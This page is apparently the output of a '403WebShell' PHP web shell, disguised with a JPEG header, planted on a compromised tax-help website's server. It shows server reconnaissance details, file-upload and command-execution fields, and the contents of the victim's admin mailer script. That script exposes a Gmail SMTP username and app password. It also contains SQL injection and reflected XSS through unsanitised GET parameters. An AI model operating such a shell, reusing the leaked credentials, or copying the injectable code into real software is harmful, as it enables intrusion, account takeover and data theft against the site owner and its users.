ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.68
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/taxhyuvu/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/taxhyuvu/www/admin/aka_email.php
<?php
echo $Email = $_GET['email'];
 echo $reason = $_GET['reason'];

?>
<?php
require '/home/taxhyuvu/public_html/PHPMailer/src/Exception.php';
require '/home/taxhyuvu/public_html/PHPMailer/src/PHPMailer.php';
require '/home/taxhyuvu/public_html/PHPMailer/src/SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;



 // Make sure PHPMailer is installed via Composer
include_once "db.php";
// session_start();


if ($reason == "Subscription"){

    
    $Uquery = "SELECT * FROM `signup` WHERE `Email_Address`= '$Email' ";
    $Data = mysqli_query($con, $Uquery);
    $fk = mysqli_fetch_assoc($Data);
    $count = mysqli_num_rows($Data);
    
    if ($count == 1) {
     $Para1 = "<html><body style='font-family: Arial, sans-serif; color: #333;'>";

$Para1 .= "<h2 style='color: #1c959e;'>Hi " . $fk['Full_Name'] . ",</h2>";

$Para1 .= "<p>We hope you're enjoying our services. This is a friendly reminder that <strong>your subscription has expired</strong>.</p>";

$Para1 .= "<p>To continue enjoying uninterrupted access, please renew your subscription by clicking the button below:</p>";

$Para1 .= "<table cellspacing='0' cellpadding='0'>"
        . "<tr>"
        . "<td align='center' bgcolor='#1c959e' style='border-radius: 5px;'>"
        . "<a href='https://taxhelplines.com.pk/login' "
        . "style='font-size: 16px; font-family: Arial, sans-serif; color: #ffffff; text-decoration: none; padding: 12px 25px; display: inline-block;'>"
        . "Renew Subscription</a>"
        . "</td>"
        . "</tr>"
        . "</table>";

$Para1 .= "<p>If you believe you've received this email in error, feel free to ignore it.</p>";

$Para1 .= "<p>Thank you for being a valued user.<br>Best regards,<br><strong>TaxHelpline Team</strong></p>";

$Para1 .= "</body></html>";


        
        $mail = new PHPMailer(true);
        
        try {
            // Server settings
            $mail->isSMTP();
            $mail->Host = 'smtp.gmail.com'; // Replace with your SMTP server
            $mail->SMTPAuth = true;
            $mail->Username = '786.taxhelpline@gmail.com'; // SMTP username
            $mail->Password = 'ckgd lkgx jysx qqhx'; // SMTP password
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
            $mail->Port = 587;
            
            // Recipients
            $mail->setFrom('info@taxhelplines.com.pk', 'TaxHelpline');
            $mail->addAddress($Email);
            
            // Content
            $mail->isHTML(true);
            $mail->Subject = $fk['Full_Name'] . ", your subscription has expired  renew now to continue ";
            $mail->Body = $Para1;
            
            $mail->send();
            
          $sub_email_count = $fk['sub_email_count'] + 1;

                $pp = "UPDATE `signup` SET `sub_email_count` = '$sub_email_count' WHERE `Email_Address` = '$Email'";
                mysqli_query($con, $pp);

            
            echo '<script>alert("Email Has Been Sended Successfully ");</script>';
                     echo "<script>
          window.location.href = 'users';
        </script>";
            exit();
        } catch (Exception $e) {
            echo "<script>alert('Mailer Error: " . $mail->ErrorInfo . "');</script>";
        }
    } else {
        echo '<script>alert("Wrong Email. Kindly enter the correct email.");</script>';
    }
}


// subscription mail content has been end here




































?>

Youez - 2016 - github.com/yon3zu
LinuXploit